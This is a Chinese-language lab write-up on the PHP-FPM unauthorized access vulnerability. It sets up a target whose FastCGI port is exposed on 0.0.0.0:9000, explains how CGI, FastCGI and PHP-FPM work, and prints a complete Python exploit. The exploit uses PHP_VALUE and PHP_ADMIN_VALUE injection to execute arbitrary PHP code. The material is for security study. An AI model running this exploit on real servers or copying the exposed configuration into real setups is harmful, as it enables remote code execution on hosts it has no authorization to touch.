实验--PHP-FPM_未授权访问漏洞

摘要
PHP-FPM 服务暴漏导致的命令执行

• 实验–PHP-FPM_未授权访问漏洞
  • 环境准备-Ubuntu 20 准备PHP-FPM环境
    • PHP-FPM 设置
    • Nginx 配置
    • 环境启动
    • 入口文件
  • 原理准备
    • CGI
    • FastCGI
    • PHP-FPM
    • 任意代码执行
    • PHP_VALUE 和 PHP_ADMIN_VALUE
  • FPM 请求

### 实验--PHP-FPM_未授权访问漏洞

实验环境：

攻击机：kali-linux-2020.3 IP：192.168.64.129

服务机：Ubuntu 20 IP：192.168.64.128

环境准备-Ubuntu 20 准备PHP-FPM环境

安装Nginx

sudo apt-get install nginx

安装php、php-fpm以及一些插件

sudo apt-get install software-properties-common
sudo add-apt-repository ppa:ondrej/php 
sudo apt-get update
sudo apt-get -y install php7.4
sudo apt-get -y install php7.4-fpm php7.4-mysql php7.4-curl php7.4-json php7.4-mbstring php7.4-xml php7.4-intl

稍有变动

PHP-FPM 设置

设置监听9000端口来处理 Nginx 的请求，并将 PHP-FPM 暴露在 0.0.0.0 上

/etc/php/7.4/fpm/pool.d/www.conf：

;listen = /run/php/php7.4-fpm.sock
listen = 0.0.0.0:9000

此时将 PHP-FPM 的监听地址设置为了 0.0.0.0:9000，便会产生PHP-FPM 未授权访问漏洞，此时攻击者可以直接与暴露在目标主机 9000 端口上的 PHP-FPM 进行通信，进而可以实现任意代码执行。

修改权限

chmod 777 /run/php/php7.4-fpm.sock

Nginx 配置

/etc/nginx/sites-available/default:

server {
    listen       80; #监听80端口，接收http请求
    server_name  www.example.com; #就是网站地址
    root /var/www/html; # 准备存放代码工程的路径
    #路由到网站根目录www.example.com时候的处理
    location / {
        index index.php; #跳转到www.example.com/index.php
        autoindex on;
    }  
    #当请求网站下php文件的时候，反向代理到php-fpm
    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass 0.0.0.0:9000;#nginx fastcgi进程监听的IP地址和端口
        #fastcgi_pass unix:/run/php/php7.4-fpm.sock;
        fastcgi_index index.php;
        #指明脚本目录，防止找不到文件
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include fastcgi_params;
    }
}

环境启动

php-fpm

whereis php-fpm
/usr/sbin/php-fpm7.4    # 这是我的靶机上php-fpm安装的位置
# 注意权限问题

Nginx

sudo systemctl restart nginx

systemctl status nginx 检查Nginx状态

入口文件

/var/www/html下设置index.php

<?php phpinfo(); ?>

服务开启效果：

原理准备

[浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法](https://whoamianony.top/2021/05/15/Web安全/浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法/)

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

CGI

​ 为了解决Web服务器与外部应用程序（CGI程序）之间数据互通，于是出现了CGI（Common Gateway Interface）通用网关接口。简单理解，可以认为CGI是Web服务器和运行在其上的应用程序进行“交流”的一种约定。

​ 当遇到动态脚本请求时，Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序，运行外部C程序或Perl、PHP脚本等，也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程，如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本，然后将结果返回给Web服务器，最后由Web服务器将结果返回给客户端，之前Fork出来的进程也随之关闭。这样，每次用户请求动态脚本，Web服务器都要重新Fork创建一个新进程去启动CGI程序，由CGI程序来处理动态脚本，处理完成后进程随之关闭，其效率是非常低下的。

​ 而对于Mod CGI，Web服务器可以内置Perl解释器或PHP解释器。 也就是说将这些解释器做成模块的方式，Web服务器会在启动的时候就启动这些解释器。 当有新的动态请求进来时，Web服务器就是自己解析这些动态脚本，省得重新Fork一个进程，效率提高了。

FastCGI

​ 但是Web服务器有一个问题，就是它每收到一个请求，都会去Fork一个CGI进程，请求结束再kill掉这个进程，这样会很浪费资源。于是，便出现了CGI的改良版本——Fast-CGI。

​ FastCGI致力于减少网页服务器与CGI程序之间交互的开销，Fast-CGI每次处理完请求后，不会kill掉这个进程，而是保留这个进程，从而使服务器可以同时处理更多的网页请求。这样就会大大的提高效率。

PHP-FPM

​ 官方对PHP-FPM的解释是 FastCGI 进程管理器，用于替换 PHP FastCGI 的大部分附加功能，对于高负载网站是非常有用的。PHP-FPM 默认监听的端口是 9000 端口。

​ 也就是说 PHP-FPM 是 FastCGI 的一个具体实现，并且提供了进程管理的功能，在其中的进程中，包含了 master 和 worker 进程，这个在后面我们进行环境搭建的时候可以通过命令查看。其中master 进程负责与 Web 服务器中间件进行通信，接收服务器中间按照 FastCGI 的规则打包好的用户请求，再将请求转发给 worker 进程进行处理。worker 进程主要负责后端动态执行 PHP 代码，处理完成后，将处理结果返回给 Web 服务器，再由 Web 服务器将结果发送给客户端。

​ 举个例子，当用户访问 http://127.0.0.1/index.php?a=1&b=2 时，如果 Web 目录是 /var/www/html，那么 Web 服务器中间件（如 Nginx）会将这个请求变成如下 key-value 对：

{
    'GATEWAY_INTERFACE': 'FastCGI/1.0',
    'REQUEST_METHOD': 'GET',
    'SCRIPT_FILENAME': '/var/www/html/index.php',
    'SCRIPT_NAME': '/index.php',
    'QUERY_STRING': '?a=1&b=2',
    'REQUEST_URI': '/index.php?a=1&b=2',
    'DOCUMENT_ROOT': '/var/www/html',
    'SERVER_SOFTWARE': 'php/fcgiclient',
    'REMOTE_ADDR': '127.0.0.1',
    'REMOTE_PORT': '12345',
    'SERVER_ADDR': '127.0.0.1',
    'SERVER_PORT': '80',
    'SERVER_NAME': "localhost",
    'SERVER_PROTOCOL': 'HTTP/1.1'
}

PHP-FPM 拿到 Fastcgi 的数据包后，进行解析，根据请求情况设置环境变量(如：$_SERVER)，动态执行 PHP 代码。

任意代码执行

SCRIPT_FILENAME 对应的是 PHP-FPM 将要执行哪个PHP文件 （正常情况下视请求而定，动态执行）

在 PHP 5.3.9 后来的版本中，PHP 增加了 security.limit_extensions 安全选项，导致只能控制 PHP-FPM 执行一些像 php、php3、php4、php5、php7 这样的文件，因此你必须找到一个已经存在的 PHP 文件，这也增大了攻击的难度。

我们熟悉的是：php.ini 有 auto_prepend_file和auto_append_file .htaccess马常使用这两个值操作

如果我们可以设置 auto_prepend_file 为 php://input，那么就等于在执行任何 PHP 文件前都要包含一遍 POST 的内容。所以，我们只需要把需要执行的代码放在 Body 中，他们就能被执行了。（当然，这还需要开启远程文件包含选项 allow_url_include）

---

PHP_VALUE 和 PHP_ADMIN_VALUE

PHP-FPM 的两个环境变量：PHP_VALUE与PHP_ADMIN_VALUE

这两个环境变量可以用来设置 PHP 配置项

PHP_VALUE 可以设置模式为 PHP_INI_USER 和 PHP_INI_ALL 的选项

PHP_ADMIN_VALUE 可以设置所有选项。

完成攻击

FPM 请求

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

import socket
import random
import argparse
import sys
from io import BytesIO

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    response = client.request(params, content)
    print(force_text(response))

成功命令执行！

参考文章:
[浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法](https://whoamianony.top/2021/05/15/Web安全/浅入深出 Fastcgi 协议分析与 PHP-FPM 攻击方法/)

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写